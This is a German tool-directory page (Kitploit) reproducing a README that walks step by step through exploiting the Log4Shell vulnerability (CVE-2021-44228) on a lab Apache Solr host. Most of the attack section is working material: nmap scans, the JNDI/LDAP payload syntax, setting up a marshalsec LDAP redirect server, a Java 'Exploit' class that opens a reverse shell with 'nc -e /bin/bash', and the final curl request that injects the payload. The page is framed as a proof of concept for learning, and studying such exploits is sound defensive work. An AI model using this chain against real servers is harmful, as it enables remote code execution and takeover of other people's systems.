Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-44228 — Log4j-Sicherheitslücke RCE - CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/lucaspdiniz/cve-2021-44228
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHublucaspdiniz/cve-2021-44228

CVE-2021-44228

Log4j-Sicherheitslücke RCE - CVE-2021-44228

Repository anzeigen
144vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Log4j-Sicherheitslücke - CVE-2021-44228 📗

  • Einleitung

Diese Sicherheitslücke wurde am 9. Dezember 2021 entdeckt, identifiziert als CVE-2021-44228, betrifft das Java-Log-Paket und erzeugt einen Schweregrad (CVSS) von 10 Punkten, was die Ausführung von Fernzugriff auf den Host ermöglicht. Diese Sicherheitslücke ist in der Sicherheitsgemeinschaft als LOG4SHELL bekannt.

Wenn Sie eine Liste der von der LOG4J-Sicherheitslücke betroffenen Softwareanbieter möchten, sehen Sie sich das folgende Repository an:

GitHub/Log4jAttackSurface

  • Erkundung

Um diese Art von Angriff zu demonstrieren, haben wir einen Host mit der anfälligen Version (Apache Solr 8.11.0) des log4j-Pakets mit Java 1.8.0_181.

Beginnen Sie mit einer grundlegenden Erkundung, um zu verstehen, welche Ports auf diesem Rechner geöffnet sind, mit dem nmap-Tool (oder einem anderen Ihrer Wahl).

nmap -v -p- poc.log4j - Host anfällig

Nmap
In diesem Fall wurden 3 offene Ports gefunden. Lassen Sie uns unseren nmap verbessern, indem wir nur die offenen Ports und den -sV-Befehl angeben (gibt die Anwendungsversion des Ports zurück).

nmap -v -p22,111,8983 -sV poc.log4j

version
Möglicherweise läuft auf Port 8983 ein Apache. Unten können wir den Apache bestätigen, diese Instanz von Apache Solr ist ohne jegliche Daten bereitgestellt. Es ist eine flache, einfache und absolut minimale Installation.

  • Proof of Concept 📚

Der Hauptangriffsvektor für log4j ist im Anwendungslog, wo wir, wenn wir auf den Solr-Bildschirm schauen, das Log in Dsolr.log.dir aktiviert sehen.

Beachten Sie, dass der URL-Endpunkt, den Sie gerade entdeckt haben, beim Betrachten über das Webinterface mit dem solr/-Präfix versehen werden muss. Das bedeutet, Sie sollten Folgendes aufrufen:

http://poc.log4j:8983/solr/admin/cores

  • warum /admin/cores ❓ 💬
    Hier finden wir die ausnutzbare Sicherheitslücke. Dies ist ein Aufruf, der eine Variable (params={}) zur Ausführung erhält, wir können diese Eingabe manipulieren und unser Payload senden. Unten sehen wir ein Log, das von Apache generiert wurde, als diese URL /admin/cores aufgerufen wurde. codelog

Das Format der üblichen Syntax, die dies ausnutzt, sieht wie folgt aus:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Diese Syntax zeigt an, dass log4j Funktionen von "JNDI" (Java Naming and Directory Interface) aufruft. Letztendlich kann dies verwendet werden, um auf externe Ressourcen oder "Referenzen" zuzugreifen, was bei diesem Angriff ausgenutzt wird. Beachten Sie das ldap://-Schema, dies zeigt an, dass das Ziel einen Endpunkt (einen vom Angreifer kontrollierten Ort, in diesem Fall) über das LDAP-Protokoll erreicht.

Wo könnten wir diese ldap-Syntax eingeben?

Sie können einfach HTTP-GET-Variablen oder -Parameter angeben, die dann von log4j verarbeitet und geparst werden. Es genügt diese einzelne Textzeile – und das macht diese Sicherheitslücke extrem einfach ausnutzbar.

Andere Stellen, an denen Sie diese JNDI-Syntax angeben könnten:

  • Eingabefelder, Benutzer- und Passwort-Login-Formulare, Dateneingabepunkte innerhalb von Anwendungen.
  • HTTP-Header wie User-Agent, X-Forwarded-For oder andere anpassbare Header.
  • Jede Stelle für benutzerseitig bereitgestellte Daten.

Ist der Host wirklich anfällig?

In diesem Schritt, nachdem wir eine Version von log4j auf dem Zielhost entdeckt haben, müssen wir sie testen und sehen, ob diese Version anfällig ist.

Wir öffnen Port 6666 auf dem angreifenden Host.

nc -vnlp 6666

Stellen Sie eine Anfrage einschließlich dieser primitiven JNDI-Payload-Syntax als Teil der HTTP-Parameter. Dies kann einfach mit dem curl-Befehlszeilenprogramm erfolgen.

codelog

Bei der Ausführung des Payloads erhalten wir die Rückmeldung in unserem netcat auf Port 6666. 🙌

codelog

An diesem Punkt haben Sie bestätigt, dass das Ziel tatsächlich anfällig ist, indem Sie diese Verbindung in Ihrem netcat-Listener sehen. Es hat jedoch eine LDAP-Anfrage gestellt... daher hat Ihr netcat-Listener möglicherweise nur nicht druckbare Zeichen (seltsam aussehende Bytes) gesehen. Wir können nun auf dieser Grundlage aufbauen und mit einem echten LDAP-Handler antworten.

Lass uns erkunden 🤘

Wie wir oben mit curl gesehen haben, konnten wir das LDAP-Protokoll verwenden, um eine Anfrage in unserem NC zu empfangen. Da wir jedoch ein anderes Protokoll verwenden, können wir die Antwort nicht visualisieren oder manipulieren.

Der nächste Schritt ist die Erstellung eines LDAP-Servers, damit wir die Anfragen bearbeiten können, los geht's!

  • Um diesen POC zu beschleunigen, verwenden wir das bereits fertige Dienstprogramm unter https://github.com/mbechler/marshalsec

  • Wir müssen Maven verwenden, um das marshalsec-Skript zu nutzen. Maven verfügbar in apt install maven

  • Im marshalsec-Repository beginnen Sie mit Maven mvn clean package -DskipTests

  • Nach dem Erstellen des JAR können wir den LDAP-Server starten, um Anfragen umzuleiten

root@kitploit:~
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

codelog

Vorbereiten des Exploits

Wir lassen den LDAP-Server laufen und erstellen das Skript, um den Server auszunutzen.

  • Unten ist der Exploit, den wir verwenden werden. Er ist in Java geschrieben. Erstellen Sie eine Exploit.java-Datei mit der folgenden Klasse.
root@kitploit:~
#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • Kompilieren wir den Exploit mit javac Exploit.java -source 8 -target 8. Die Exploit.class wird erstellt.

  • Mit dem fertigen Exploit hosten wir ihn auf dem Python-Server python3 -m http.server.

  • Öffnen wir einen Port mit NC, um den Java-Bash-Befehl zu empfangen, den wir zuvor erstellt haben. Wir erstellen einen neuen nc -lnvp 9999.

  • Bringen wir alles zum Laufen! Machen wir einen CURL, der den Server zwingt, unseren Exploit auf Port 8000 zu suchen, den wir mit Python erstellt haben.

root@kitploit:~
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
  • Erledigt! 👏 Wir haben die volle Kontrolle über den Server.

Okay, aber wie ist das alles passiert ❓

  • Unten ist ein einfaches Beispiel des Angriffsablaufs.

Tool herunterladen